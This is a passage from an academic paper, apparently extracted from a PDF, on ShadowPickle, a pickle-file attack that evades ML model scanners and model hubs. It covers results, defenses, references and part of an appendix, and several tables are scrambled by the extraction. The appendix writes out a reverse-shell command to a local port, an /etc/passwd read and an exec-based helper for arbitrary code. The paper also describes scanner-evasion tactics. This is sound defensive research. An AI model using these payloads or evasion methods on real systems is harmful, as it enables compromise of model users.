TABLE V: Effectiveness of S HADOW P ICKLE on SOTA closed-source scanners and Model hubs. ✗ indicates scanner did not detect the model.✓ indicates marked as Suspicious. “” indicates jodel hub’s scanner does not scan the uploaded models. “N.A.” indicates the Model hub has no scanner. Analysis Type

Hugging Face [1]

OpenCSG[3] ModelScope [4] GitHub [2]

Detector

PyPI

HF JFrog [12] HF ProtectAI [13] HF ClamAV [14] HF VirusTotal [15] HF PickleScan [14] Gentel [16], [17] N.A. N.A.

✗ ✗ ✗ ✗ ✓ N.A. N.A.

Malicious External Overwritten Module Module ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✓ ✗ N.A. N.A. N.A. N.A.

executed as Python code via the exec library. This is illustrated in the overwritten __new__ function in appendix Listing 5 (cf. Listing 4). Thus, we have 20 payloads using the OrderedDict() library to execute code. The payloads are then randomly injected into each of the 1000 benign models crawled from Hugging Face. Table I depicts an example of our overwritten module attack using the OrderedDict library. F. Implementation Details All experiments were conducted on a Google Cloud Compute Engine, n2-standard-4 (4 vCPUs, 16 GB memory) instance, using a Debian GNU/Linux 12 (bookworm) operating system. S HADOW P ICKLE attacks and P ICKLE B ENCH were implemented in 5.5k lines of Python Code. Our experimentation code and data analysis scripts are implemented in 1.1k lines of Python code. VII. R ESULTS A. RQ1 Attack Effectiveness Attack Detection: We examine S HADOW P ICKLE’s effectiveness using 3000 malicious injected models (1000 PTMs per attack type), 3000 benign models from HF and five (5) opensource scanners. Table IV presents our findings. S HADOW P ICKLE attacks effectively evade SOTA scanners. About one in every two S HADOW P ICKLE scanner tests were undetected by the SOTA scanners. About half (48.5% = 7,280/15,000) of all scanner tests were not detected by the SOTA scanners. This shows that our attack (S HADOW P ICKLE) often evades open-source scanners and are demonstrably hard to detect for SOTA scanners. Table IV shows that the S HAD OW P ICKLE’s Overwritten Module attack is the most difficult to detect (0.372 TPR), while its external module attack is the easiest to detect by SOTA scanners (0.5906 TPR). S HADOWP ICKLE (Overwritten) evades most of the baseline scanners.

It has an evasion rate of 63%, across all scanners. This is followed by the PyPI attack and the external module attack with an evasion rate of 42% and 41%, respectively. To the best of our knowledge, S HADOW P ICKLE (Overwritten) is the first attack to evade PyTorch’s W EIGHTS - ONLY U NPICKLER which employs whitelisting. We attribute the efficacy of S HADOWP ICKLE (Overwritten) attack to the fact that it overloads whitelisted modules. Meanwhile, S HADOW P ICKLE (PyPI) and S HADOW P ICKLE (external-module) are less effective since they employ modules and system calls that are often blacklisted by the SOTA scanners. Overall, this result demonstrates the efficacy and stealthiness of S HADOW P ICKLE. Scanner Performance: We found that M ODELT RACER performs best in detecting S HADOW P ICKLE (F1-score=0.9438), while P ICKLE S CAN and M ODEL S CAN perform worst (F1score=0.0000). S HADOW P ICKLE completely evades P ICK LE S CAN and M ODEL S CAN as evidenced by the zero (0) recall. PyTorch’s W EIGHTS - ONLY has a recall of 0.6797. It is evaded by S HADOW P ICKLE 32% of the time. It fails to detect the overwritten module attack, but detects the PyPI and External module attacks. S HADOW P ICKLE evades M ODELT RACER’s dynamic scanning in 8.4% of the injected models. Overall, S HADOW P ICKLE is effective in evading the SOTA scanners. S HADOW P ICKLE effectively evades SOTA scanners. It has up to 63% evasion rate across scanners. Model hubs and Closed-source Scanners: We inspect the effectiveness of S HADOW P ICKLE using four (4) SOTA model hubs (Hugging Face, ModelScope, OpenCSG and GitHub) and five closed-source scanners. We uploaded five (5) representative malicious models injected with S HADOW P ICKLE attacks to each model hub to check whether the model hub’s closed source scanners detect them. For instance, on HF, each model was scanned by five (5) scanners (HF Jfrog, HF ProtectAI, HF ClamAV, HF VirusTotal, HF PickleScan) [12], [44], [14], [15]. We present our results in Table V. Table V shows that the S HADOW P ICKLE (Overwritten) evades all closed-source scanners available on Hugging Face [41]. This is because HF PickleScan uses a combination of a blacklist and whitelist, and this attack overwrites the popular builtin module, collections.OrderedDict() that is found in many whitelists. The PyPI and External Module attacks evade the HF JFrog and HF ProtectAI scanners because they do not use a library that is on the scanner’s blacklist. They are, however, detected by HF PickleScan because they include libraries that are not part of its whitelist. We also uploaded our models to OpenCSG [51], which uses the security scanner Gentel [16], [17], but the scanner did not scan our repository containing the models. ModelScope and GitHub do not flag or report any issues with our uploaded malicious models [68], [69] because they lack PTM-specific scanners. These results show that S HADOW P ICKLE evades the closed-source security mechanism of the most popular model hubs.

TABLE VI: Open-source SOTA’s performance on S HADOW P ICKLE vs. SOTA attacks. “*” indicates the scanner crashed or failed to scan the model. Type

Detector

Static

Dynamic

P ICKLE S CAN [43] M ODEL S CAN [44] F ICKLING [48] W EIGHTS - ONLY [40] ModelTracer [45] TPR FNR

S HADOW P ICKLE (3000) External Overwritten Module Module 0 0 0 0 0 0 1000 1000 1000 1000 1000 39 907 953 821 0.5814 0.5906 0.372 0.4186 0.4094 0.628 PyPI

P ICKLE C LOAK Module Surface (3) 0 0 3 3 3 0.6 0.4

EOP* (1) 1 0 1 1 1 0.8 0.2

Gadget Based (57) 7 0 57 57 45 0.5824 0.4176

Stacked Pickles [29] (5) 5 0 5 5 5 0.8 0.2

Library Import [30] (1) 1 1 1 1 1 1 0

S HADOW P ICKLE attacks bypass SOTA model hub security and closed-source security scanners. B. RQ2 Attack Comparison This experiment compares S HADOW P ICKLE against three (3) SOTA attacks, namely Stacked Pickles [29]), Library Import [30] and P ICKLE C LOAK [31], using five (5) opensource SOTA scanners. We present our results in Table VI. S HADOW P ICKLE (Overwritten) is undetected 50% (0.372 vs. 0.756) more than SOTA attacks, on average. It also outperforms the best performing SOTA attack, P ICKLE C LOAK (Module Surface) attack. It evades the SOTA open-source scanners 36.12% (0.72 vs. 0.5824) more than P ICKLE C LOAK. Table VI shows that the Stacked Pickle and Library Import attacks are detected by most scanners. This is because they use common code execution libraries, which were patched after disclosure. While P ICKLE C LOAK was publicly disclosed, only a few scanners detects its Module-Surface attack due to the attack using a legacy or alternative method of developing Pickle files rather than traditional torch.save() method. S HADOW P ICKLE instead uses the libraries that are in the whitelist and avoids libraries that may appear in the blacklist of security scanners, and thus avoids being flagged by a majority of them. The evasion rates of SOTA attacks have fallen due to their disclosure and subsequent patch by the scanners. However, S HADOW P ICKLE would require a significant overhaul and holistic overview of detection because it uses novel attack methodologies that would need systematic changes to address the underlying issues leveraged by the attack. We discuss possible S HADOW P ICKLE defenses in subsection Q. In summary, S HADOW P ICKLE is stealthier and more challenging to detect for SOTA scanners than existing attacks. S HADOW P ICKLE (Overwritten) is 50% more evasive than SOTA attacks, on average. It has a 36% higher evasion rate than P ICKLE C LOAK (Module-Surface).

C. RQ3 Advanced Attacks We evaluate advanced S HADOW P ICKLE payloads (Staged, Anti-VM, Delayed, Obfuscated) using 10 scanners, four model hubs and 15 representative malicious models. We compare the advanced payloads to a “Normal” variant using “cat /etc/passwd”. Our results are illustrated in Table VII.

Results show that the anti-vm attack is the most evasive advanced attack. Table VII shows that its detection rate (TPR) is as low as 0.1 across all scanners (S HADOW P ICKLE (Overwritten)). This is followed by the staged payload and normal attack. The staged payloads, delayed execution and anti-vm have similar performance on the static scanners, but their performance varies for M ODELT RACER. We attribute the stability of the static scanners to their import blacklisting or whitelisting technique. M ODELT RACER’s dynamic analysis accounts for the variance in its detection results. Table VII shows that the obfuscation attack is easier to detect due to its obfuscation module import (pyarmor library [70]) which is not in the whitelist for scanners like F ICKLING and HF P ICKLE S CAN. Thus it is flagged as suspicious. HF C LAM AV flags obfuscation libraries such as pyarmor being imported as suspicious. We show an example of an obfuscated payload in Listing 6 (appendix). This result shows that S HADOW P ICKLE can be improved by advanced payloads. Advanced payloads (anti-vm and staged) improve the stealthiness and evasion rates of S HADOW P ICKLE.

D. RQ4 Benchmark Comparison We compare P ICKLE B ENCH to three (3) SOTA benchmarks using five (5) scanners. We present our results in Table VIII. We found that P ICKLE B ENCH is 24.03% (0.513 vs. 0.6753) more difficult to detect than the SOTA benchmarks, on average. Table VIII shows that P ICKLE B ENCH (overwritten-module) outperforms the most challenging existing benchmark (PickleBall) by about 25.6% (0.372 vs. 0.5). However, PickleBall outperforms the PyPI and External Module variants of P ICK LE B ENCH because of the small size of the benchmark (2 PTMs). P ICKLE B ENCH outperforms P ICKLE C LOAK by approximately 11.8% (0.513 vs. 0.675), on average. We attribute this performance to the stealthy and varying attack types and PTMs in P ICKLE B ENCH as described in Table III and Section VI-B. The high detection rate (0.9435) of the M AL H UG benchmark is because its malicious PTMs use Python’s builtin exec, which is popularly blacklisted by most scanners. P ICKLE B ENCH (Overwritten) is 25.6% more evasive than the most challenging baseline (PickleBall).

VIII. D ISCUSSIONS P ICKLE B ENCH generalization: We demonstrate that P ICK LE B ENCH is generalizes the malicious attacks and payloads from M AL H UG and P ICKLE C LOAK by using automatic injection scripts. The performance of our P ICKLE B ENCH generalization is similar to the original benchmarks, with detection rates of M AL H UG (0.955 vs. 0.944) and P ICKLE C LOAK (0.500 vs. 0.582). Concrete details on the results are provided in Table VIII and subsection O (appendix).

TABLE VII: Performance of SOTA scanners on Advanced Attack Payloads combined with S HADOW P ICKLE attacks. ✓ indicates scanner flagged the model as malicious (score = 1) and ✗ as not detected (score = 0).✓ indicates marked as Suspicious (score = 1). “-” indicates Model hub employs a scanner, but did not scan the uploaded models. “N.A.” indicates the Model hub does not employ a scanner. Analysis Type Static

Dynamic

Closed-source

PyPI

Detector

Normal

P ICKLE S CAN [43] M ODEL S CAN [44] F ICKLING [48] W EIGHTS - ONLY [40] ModelTracer [45] HF Frog [12] HF ProtectAI [13] HF ClamAV [14] HF VirusTotal [15] HF PickleScan [14] OpenCSG [3] ModelScope [4] GitHub [2] TPR FNR

✗ ✗ ✓ ✓ ✗ ✗ ✗ ✗ ✗ ✓ N.A. N.A. 0.3 0.7

Staged Payload ✗ ✗ ✓ ✓ ✓ ✗ ✗ ✗ ✗ ✓ N.A. N.A. 0.4 0.6

Anti-VM ✗ ✗ ✓ ✓ ✗ ✗ ✗ ✗ ✗ ✓ N.A. N.A. 0.3 0.7

Delayed Execution ✗ ✗ ✓ ✓ ✓ ✗ ✗ ✗ ✗ ✓ N.A. N.A. 0.4 0.6

Obfuscation

Normal

✗ ✗ ✓ ✓ ✓ ✗ ✗ ✓ ✗ ✓ N.A. N.A. 0.5 0.5

✗ ✗ ✓ ✓ ✓ ✗ ✗ ✗ ✗ ✓ N.A. N.A. 0.4 0.6

TABLE VIII: Open-source SOTA’s performance on S HADOW P ICKLE vs. SOTA Benchmarks. “*” indicates the scanner crashed or failed to scan the model. Analysis Type Static

Dynamic

Detector

P ICKLE B ENCH (3000) External Overwritten Module Module 0 0 0 0 0 0 1000 1000 1000 1000 1000 39 907 948 821 0.5814 0.5896 0.372 PyPI

P ICKLE S CAN [43] M ODEL S CAN [44] F ICKLING [48] W EIGHTS - ONLY [40] ModelTracer [45] Detection Rate

Existing Benchmarks P ICKLE C LOAK PickleBall M AL H UG (85) (57) (2) 7 0 84 0 0* 84 57 2 85 57 2 85 45 1 63 0.5824 0.5 0.9435

Why do SOTA scanners fail?: P ICKLE S CAN and M OD EL S CAN perform poorly in detecting S HADOW P ICKLE due to the use of a non-exhaustive blacklist. Similarly, M ODEL T RACER only had a recall of 0.8937 (see Table IV) due to an incomplete list of blacklisted syscalls. Although W EIGHTS ONLY U NPICKLER achieves strong performance due to its whitelist mechanism, S HADOW P ICKLE exposes a key limitation of whitelist-based defenses through its overwritten modules attack. Lastly, F ICKLING has a high false positive rate (see Table IV) because of its import whitelisting. More details on why poor performance of the security scanners against S HADOW P ICKLE is available in the supplementary materials. Defense Recommendations: We patch W EIGHTS - ONLY U N PICKLER and F ICKLING which verifies if the Python environment has been tampered with. Our patches improve the performance of W EIGHTS - ONLY by 19% (F1-score) and F ICKLING by 5% (F1-score) and 16% (FPR) respectively as shown in Table XVIII (appendix). Implementation details are included in the supplementary details section of the paper. Finally, we propose the following security recommendations to model hubs: (1) Utilize gadget-finding tools like P ICK LE C LOAK to discover vulnerable PyPI libraries capable to arbitrary code execution and (2) Scanning files that facilitate third-party library installation (e.g., requirements.txt) using vulnerbility scanning tools like Pysentry [71], details for which are elaborated in the supplementary materials. IX. T HREATS T O VALIDITY Internal Validity: To mitigate implementation errors, we conducted code reviews and tested our implementations. We validated injected models by loading them, and developing oracles to confirm their (malicious) behaviors. We also uploaded

Staged Payload ✗ ✗ ✓ ✓ ✗ ✗ ✗ ✗ ✗ ✓ N.A. N.A. 0.3 0.7

External Module Delayed Anti-VM Execution ✗ ✗ ✗ ✗ ✓ ✓ ✓ ✓ ✓ ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✓ ✓ N.A. N.A. N.A. N.A. 0.4 0.4 0.6 0.6

Obfuscation

Normal

✗ ✗ ✓ ✓ ✓ ✗ ✗ ✓ ✗ ✓ N.A. N.A. 0.5 0.5

✗ ✗ ✓ ✗ ✓ ✗ ✗ ✗ ✗ ✗ N.A. N.A. 0.2 0.8

Staged Payload ✗ ✗ ✓ ✗ ✓ ✗ ✗ ✗ ✗ ✗ N.A. N.A. 0.2 0.8

Overwritten Module Delayed Anti-VM Execution ✗ ✗ ✗ ✗ ✓ ✓ ✗ ✗ ✗ ✓ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ N.A. N.A. N.A. N.A. 0.1 0.2 0.9 0.8

Obfuscation ✗ ✗ ✓ ✓ ✓ ✗ ✗ ✓ ✗ ✓ N.A. N.A. 0.5 0.5

the developed models to platforms like HF (see Table V), to be scanned by closed-source scanners, independent of our execution of open-source versions of the scanners (e.g., P ICKLE S CAN vs. HF PickleScan). External Validity: For generalizability, we inject all three S HADOW P ICKLE attacks into 1000 (most-liked) benign models from Hugging Face. This allows to evaluate a broad spectrum of representative real-world models. We also compare our benchmark, P ICKLE B ENCH against real world malicious models provided by other benchmarks, such as M AL H UG (see Table VIII). To generalize our Overwritten Module attack past the collections.OrderedDict module, we also illustrate the same attack by overwritting the xxsubtype module. The xxsubtype module is part of F ICKLING’s [48] whitelist because it is an internal Python module. Overwritting xxsubtype required the same amount of effort as OrderedDict, and only required the additional arbitrary code execution functionality to be added. We provide an uploaded model of xxsubtype on HuggingFace [41]. Construct Validity: To mitigate construct validity, we evaluate S HADOW P ICKLE and P ICKLE B ENCH using five (5) opensource scanners, three (3) real world attacks (see Table VI) and three (3) SOTA benchmarks (see Table VIII). We also report their performance on both open-source scanners and closed-source scanners to verify whether our S HADOW P ICKLE attacks are detected, or not. X. C ONCLUSION This work investigates the security of PTMs and model hubs. This is an important problem given the proliferation and popularity of ML models such as LLMs. Model hubs (e.g., Hugging Face (HF)) host thousands of models and millions of users. However, the current ML supply chain relies solely on model hubs to protect end-users from malicious attacks. To address this challenge, we examine the reliability of model scanners and model hubs by proposing a novel Pickle deserialization attack called S HADOW P ICKLE. S HADOW P ICKLE targets the most popular ML model format – Pickles [27]. It leverages the Pickle VM module import mechanism to bypass SOTA scanners. We also propose an automated benchmark (P ICKLE B ENCH) that allows to generalise S HADOW P ICKLE

to arbitrary payloads and benign PTMs. We evaluate S HAD OW P ICKLE using thousands of PTMs, four model hubs and ten security scanners. Results show that S HADOW P ICKLE evades the security mechanism of SOTA scanners, and the model hubs. S HADOW P ICKLE (Overwritten) has up to 63% evasion rates on existing scanners. We found that S HADOW P ICKLE is 50% more evasive than three SOTA Pickle deserialization attacks. Furthermore, we compare P ICKLE B ENCH to three SOTA benchmarks and show that it is up to 25.6% more challenging for scanners than the baselines. Finally, we propose defenses for model hubs and scanners to mitigate S HADOW P ICKLE attacks, thereby improving the performance of SOTA scanners by up to 19% (F1-score). Our findings highlight the limitations of existing PTM scanners, suggest directions for improvements and inform engineers on how to assess the security of model scanners and model hubs. R EFERENCES [1] Hugging Face, “Hugging face – the ai community building the future.” https://huggingface.co/, 2016, [Accessed 07-11-2025]. [2] GitHub, “Github,” https://github.com/, 2007, [Accessed 07-11-2025]. [3] OpenCSG, “Opencsg,” https://opencsg.com/, 2023, [Accessed 07-112025]. [4] ModelScope, “Modelscope,” ht t ps :/ /m od el s co pe .c n/ h ome, 2022, [Accessed 07-11-2025]. [5] Nvidia, “nvidia/nemotron-cascade-2-30b-a3b - hugging face,” https://hu ggingface.co/nvidia/Nemotron-Cascade-2-30B-A3B, 2026, [Accessed 13-04-2026]. [6] Google, “google/gemma-4-31b-it - hugging face,” https://huggingface. co/google/gemma-4-31B-it, 2026, [Accessed 13-04-2026]. [7] Microsoft, “microsoft/harrier-oss-v1-0.6b - hugging face,” https://hugg ingface.co/microsoft/harrier-oss-v1-0.6b, 2026, [Accessed 13-04-2026]. [8] OpenAI, “openai/gpt-oss-120b - hugging face,” https://huggingface.co /openai/gpt-oss-120b, 2025, [Accessed 13-04-2026]. [9] Ronik, 2024. [Online]. Available: https://weam.ai/blog/guide/huggingfa ce-statistics/ [10] adia, “Data scientists targeted by malicious hugging face ml models with silent backdoor,” https://jfrog.com/blog/data-scientists-targeted-by-mal icious-hugging-face-ml-models-with-silent-backdoor/, 2024, [Accessed 13-04-2026]. [11] J. Zhao, S. Wang, Y. Zhao, X. Hou, K. Wang, P. Gao, Y. Zhang, C. Wei, and H. Wang, “Models are codes: Towards measuring malicious code poisoning attacks on pre-trained model hubs,” in Proceedings of the 39th IEEE/ACM International Conference on Automated Software Engineering, ser. ASE ’24. ACM, Oct. 2024, p. 2087–2098. [Online]. Available: http://dx.doi.org/10.1145/3691620.3695271 [12] Hugging Face, “Third-party scanner: Jfrog,” https://huggingface.co/doc s/hub/en/security-jfrog, 2025, hugging Face documentation, accessed: 2025-10-11. [13] hugging face, “third-party scanner: protect ai,” https://huggingface.co /docs/hub/en/security- protectai, 2025, hugging face documentation, accessed: 07-01-2026. [14] hugging face, “pickle scanning (hub documentation),” https://huggingf ace.co/docs/hub/en/security-pickle, 2025, hugging face documentation, accessed: 07-01-2026. [15] Hugging Face, “Hugging face and virustotal collaborate to strengthen ai security,” https://huggingface.co/blog/virustotal, [Accessed 13-04-2026]. [16] Gentel, “Gentel - home,” https://gentel.com/zh/home, 2026, [Accessed 02-04-2026]. [17] Gentel, “Opencsg - gentel example,” https://gentel.com/zh/evaluation?t askId=1906643452733558784, 2026, [Accessed 02-04-2026]. [18] Reversing Labs, “Malicious ml models discovered on hugging face platform - reversinglabs,” https://www.reversinglabs.com/blog/rl-ide ntifies-malware-ml-model-hosted-on-hugging-face, 2025, [Accessed 13-04-2026]. [19] “4m models scanned: Protect ai + hugging face 6 months in,” https: //huggingface.co/blog/pai-6-month, 2025, [Accessed 13-04-2026]. [20] The Hacker News, “New hugging face vulnerability exposes ai models to supply chain attacks,” https://thehackernews.com/2024/02/new-huggi ng-face-vulnerability-exposes.html, 2024, [Accessed 09-11-2025].

[21] “Over 100 malicious ai/ml models found on hugging face platform,” https://thehackernews.com/2024/03/over-100-malicious-aiml-models-f ound-on.html, 2024, [Accessed 09-11-2025]. [22] The Hacker News, “Malicious ml models on hugging face leverage broken pickle format to evade detection,” https://thehackernews.com/20 25/02/malicious-ml-models-found-on-hugging.html, 2025, [Accessed 09-11-2025]. [23] E. Montalbano, https://www.darkreading.com/application-security/hugg ing-face-ai-platform-100-malicious-code-execution-models, Feb 2024. [24] K. Poireault, “Malicious AI Models on Hugging Face Exploit Novel A ttack Technique,” https://www.infosecurity-magazine.com/news/malicio us-ai-models-hugging-face/, 2025, [Accessed 09-11-2025]. [25] “Federal Register :: Request Access,” https://www.federalregister.gov/do cuments/2023/11/01/2023-24283/safe-secure-and-trustworthy-develop ment-and-use-of-artificial-intelligence, 2023, [Accessed 09-11-2025]. [26] “cve.org,” https://www.cve.org/CVERecord/SearchResults?query=pick le, 2025, [Accessed 09-11-2025]. [27] A. D. Kellas, N. Christou, W. Jiang, P. Li, L. Simon, Y. David, V. P. Kemerlis, J. C. Davis, and J. Yang, “Pickleball: Secure deserialization of pickle-based machine learning models (extended report),” 2025. [Online]. Available: https://arxiv.org/abs/2508.15987 [28] P. Zhou, “How to make hugging face to hug worms: Discovering and exploiting unsafe pickle.loads over pre-trained large model hubs blackhat asia 2024,” https://blackhat.com/asia-24/briefings/schedule/inde x.html#how-to-make-hugging-face-to-hug-worms-discovering-and-exp loiting-unsafe-pickleloads-over-pre-trained-large-model-hubs-36261, [Accessed 13-04-2026]. [29] coldwaterq, “coldwaterq/sectest - model card,” https://huggingface.co/c oldwaterq/sectest, 2024, [Accessed 12-03-2026]. [30] zpbrent, “zpbrent/reuse - model card,” https://huggingface.co/zpbrent/r euse, 2024, [Accessed 12-03-2026]. [31] T. Liu, G. Meng, P. Zhou, Z. Deng, S. Yao, and K. Chen, “The art of hide and seek: Making pickle-based model supply chain poisoning stealthy again,” 2025. [Online]. Available: https://arxiv.org/abs/2508.19774 [32] Coldwaterq, “Backdooring pickles: A decade only made things worse - defcon 30,” https://media.defcon.org/DEF%20CON%2030/DEF%20 CON%2030%20presentations/ColwaterQ%20-%20Backdooring%20 Pickles%20A%20decade%20only%20made%20things%20worse.pdf, [Accessed 13-04-2026]. [33] “Sour pickles - blackhat us 2011,” https://media.blackhat.com/bh-us-11/ Slaviero/BH US 11 Slaviero Sour Pickles WP.pdf, 2011, [Accessed 13-04-2026]. [34] “Cwe - cwe-502: Deserialization of untrusted data (4.20),” https://cwe. mitre.org/data/definitions/502.html, [Accessed 20-06-2026]. [35] flawednet, “flawed.net.nz — flawed.net.nz,” https://flawed.net.nz/2021/ 02/02/PyPI-Security-State/, 2021, [Accessed 17-06-2026]. [36] D. Crane, “Secure pypi? the problem with trusting open source repositories — activestate.com,” https://www.activestate.com/blog/secure-pyp i-the-problem-with-trusting-open-source-repositories/, 2022, [Accessed 17-06-2026]. [37] “Cwe - cwe-1395: Dependency on vulnerable third-party component (4.20),” https://cwe.mitre.org/data/definitions/1395.html, [Accessed 20-06-2026]. [38] “Cwe - cwe-183: Permissive list of allowed inputs (4.20),” https://cwe. mitre.org/data/definitions/183.html, [Accessed 20-06-2026]. [39] “Cwe - cwe-184: Incomplete list of disallowed inputs (4.20),” https: //cwe.mitre.org/data/definitions/184.html, [Accessed 20-06-2026]. [40] P. Contributors, “weights only unpickler.py – pytorch,” https://github.c om/pytorch/pytorch/blob/main/torch/ weights only unpickler.py, 2025, github repository, Accessed: 07-01-2026. [41] Zolllll, “Zollllldont download this2 - model card,” https://huggingface. co/Zolllll/dont download this2, 2026, [Accessed 09-03-2026]. [42] Zolllll, ““dont download this”,” https://huggingface.co/Zolllll/dont d ownload this, 2025, accessed: 2025-11-10. [43] mmaitre314, “picklescan: Security scanner detecting python pickle files performing suspicious actions,” https://github.com/mmaitre314/picklesc an, 2025, gitHub repository, accessed: 07-01-2026. [44] P. AI, “Modelscan: Protection against model serialization attacks,” https: //github.com/protectai/modelscan, 2025, gitHub repository, accessed: 07-01-2026. [45] B. Casey, J. C. S. Santos, and M. Mirakhorli, “A large-scale exploit instrumentation study of ai/ml supply chain attacks in hugging face models,” 2024. [Online]. Available: https://arxiv.org/abs/2410.04490

[46] Python, “pickletools - tools for pickle developers - docs.python.org,” https://docs.python.org/3/library/pickletools.html, 2011. [47] “zlib — compression compatible with gzip - docs.python.org,” https: //docs.python.org/3/library/zlib.html, 1995, [Accessed 16-03-2026]. [48] T. of Bits, “Fickling: A python pickling decompiler and static analyzer,” https://github.com/trailofbits/fickling, 2025, gitHub repository, accessed: 07-01-2026. [49] strace, “strace,” https://github.com/strace/strace, 1991, [Accessed 0701-2026]. [50] P. Developers, “CPython: The python programming language,” https: //github.com/python/cpython, 1991, gitHub repository, accessed 07-012026. [51] zol, “Dont download this - opencsg - model card,” https://opencsg.co m/models/zol/Dont download this?tab=files&actionName=files&branc h=main, 2026, [Accessed 09-04-2026]. [52] PyPI, “The python package index — pypi.org,” https://pypi.org, 2026, [Accessed 07-01-2026]. [53] R. Zhu, X. Wang, C. Liu, Z. Xu, W. Shen, R. Chang, and Y. Liu, “Moduleguard: Understanding and detecting module conflicts in python ecosystem,” in Proceedings of the IEEE/ACM 46th International Conference on Software Engineering, ser. ICSE ’24. New York, NY, USA: Association for Computing Machinery, 2024. [Online]. Available: https://doi.org/10.1145/3597503.3639221 [54] Ultralytics, “Reference for ultralytics/utils/patches.py — docs.ultralytics.com,” https://docs.ultralytics.com/reference/utils /patches/, [Accessed 29-04-2026]. [55] Synthyra, “Synthyraesm2-8m hugging face - huggingface.co,” https://hu ggingface.co/Synthyra/ESM2-8M, 2025, [Accessed 05-03-2026]. [56] H. Face, “Full text search - hugging face — huggingface.co,” https: //huggingface.co/search/full-text?q=requirements.txt&type=model&type =dataset, 2026, [Accessed 05-03-2026]. [57] fakespot ai, “fakespot-ai/roberta-base-ai-text-detection-v1 - hugging face — huggingface.co,” https://huggingface.co/fakespot-ai/roberta-base-ai-t ext-detection-v1, 2025, [Accessed 06-03-2026]. [58] shivaneej, “Github - shivaneej/genessay: Genessay is a content generation system where the user can enter incomplete sentences and phrases and the system will generate the content according to the input — github.com,” https://github.com/shivaneej/Genessay/tree/master, 2020, [Accessed 06-03-2026]. [59] modelscope, “Llama3-agentflan-adapter — modelscope.cn,” https://ww w.modelscope.cn/models/fanqiNO1/Llama3-AgentFLAN-Adapter/sum mary, 2024, [Accessed 06-03-2026].

[60] swisskyrepo, “Github - swisskyrepo/payloadsallthethings: A list of useful payloads and bypass for web application security and p entest/ctf — github.com,” https://github.com/swisskyrepo/PayloadsAllTheThings, 2019, [Accessed 27-01-2026]. [61] revshells, “Online - reverse shell generator — revshells.com,” https: //www.revshells.com, 2026, [Accessed 27-01-2026]. [62] T. O. Bits, “Adds dataflow analysis, generalizes constant opcodes, and cleans up injection by esultanik · pull request #28 · trailofbits/fickling — github.com,” https://github.com/trailofbits/fickling/pull/28, 2022, [Accessed 06-04-2026]. [63] T. of Bits, “Trail of bits — trailofbits.com,” https://www.trailofbits.com, 2012, [Accessed 07-01-2026]. [64] fastai, “Welcome to fastai – fastai,” https://docs.fast.ai, [Accessed 1504-2026]. [65] “Github - columbia/pickleball: Pickleball protects users from dangerous pickle-based ml models — github.com,” https://github.com/columbia/pi ckleball, 2025, [Accessed 02-04-2026]. [66] “Github - s2e-lab/hf-model-analyzer - modeltracer,” https://github.com /s2e-lab/hf-model-analyzer, 2025, [Accessed 25-03-2026]. [67] “Raft - pypi,” https://pypi.org/project/raft/, 2024, [Accessed 17-042026]. [68] zoltester, “Dont download this model - modelscope - model card,” ht tps://www.modelscope.cn/models/zoltester/Dont download this model, 2026, [Accessed 09-04-2026]. [69] “Shadowpickle-bench/dont download this - github.com,” https://github .com/ShadowPickle- Bench/Dont Download This, 2026, [Accessed 16-04-2026]. [70] dashingsoft, “Github - dashingsoft/pyarmor: A tool used to obfuscate python scripts , bind obfuscated scripts to fixed machine or expire obfuscated scripts. — github.com,” https://github.com/dashingsoft/pyarmor, 2025, [Accessed 27-01-2026]. [71] nyudenkov, “Github - nyudenkov/pysentry: Scan your python dependencies for known security vulnerabilities with rust-powered scanner github.com,” https://github.com/nyudenkov/pysentry, 2025, [Accessed 08-04-2026]. [72] “Github - splitline/pickora: A toy compiler that can convert python scripts to pickle bytecode,” https://github.com/splitline/Pickora, [Accessed 30-06-2026]. [73] “Github - security-pride/malhug,” https://github.com/security-pride/Mal Hug, [Accessed 30-06-2026].

Listing 3: external.py file, showing the function dangerous_func def dangerous_func(cmd): exec(cmd)

The function dangerous_func uses the inbuilt python library exec to execute arbitrary python code. Malicious models can call dangerous_func and execute arbitrary code. E. Overwritten Module Attack

A PPENDIX A. Open Science The artifact website contains the official repository to the source code. The official repository contains all the scripts, code and documentation required to evaluate and run S HAD OW P ICKLE and P ICKLE B ENCH. We store the whole 4000 model benchmark on Google Cloud Storage. However, we do not provide Google sites due to the risk of breaking anonymity. As we cannot upload the full 4000 model benchmark to Zenodo due to the original size being above 2800 GB, we provide a test dataset for anonymous evaluation and review. Therefore, the website also contains a link to the test dataset made for reviewers to access for evaluation of our benchmark. In the test dataset, we provide 160 models, with 120 injected malicious models, and 40 of their benign counterparts. The models were selected based on size, as the 160 models use 46GB of storage. B. Ethical Considerations All attack methodologies would be disclosed to the relevant entities (Hugging Face, PyTorch, Trail Of Bits) including our proposed defenses, discussed in subsection Q. Our PyPI attacks are only uploaded for 24 hours and primarily uploaded on Test PyPI, to limit broad spread among ordinary users. To test closed-source security scanners, we uploaded a sample of our developed attacks to the hosting hubs. These uploaded models came with clear warnings about the malicious behaviour and research-driven purpose of the models. All models are developed with payloads that replicate basic enumeration (cat /etc/passwd) or reverse shells to local IPs (sh -i >& /dev/tcp/127.0.0.1/4444 0>&1), so that no harm is done to the user environment. Malicious models developed for the study would be provided as part of the artifact evaluation. They would, however, not be publicly provided for security reasons. For reproducibility, we provide the injection scripts and a list of models to inject as part of our injection set. C. Dataset Distribution Table IX illustrates the various datapoints of the models used for our study, and also whether they are synthetically developed. In total, we used 6390 models, of which 3000 were synthetic and prepared for the three (3) attacks described in the paper, and the rest found from real sources. We used four (4) data sources, including models uploaded to hosting hubs such as Hugging Face, and models introduced by studies such as M AL H UG [11], Pickleball [27] and P ICKLE C LOAK [31]. D. External Attack Listing 3 depicts the external file called external.py used for the External Module attack described in the paper.

Listing 4 and Listing 5 showcase the python library collections.OrderedDict before and after editing, which is required for the Overwritten-module attack described in the paper. In Listing 5, the added lines are highlighted in red. The lines are essential so that if declaring an OrderedDict() object with just a string, the string is instead parsed as a command to be sent for arbitrary code execution in exec. exec is capable of executing any string passed to it as an argument, as Python code. Listing 4: Original collections.OrderedDict file, showing the function __new__ def __new__(cls, /, *args, **kwds): "Create the ordered dict object and set up the underlying structures." self = dict.__new__(cls) self.__hardroot = _Link() self.__root = root = _proxy(self.__hardroot) root.prev = root.next = root self.__map = {} return self

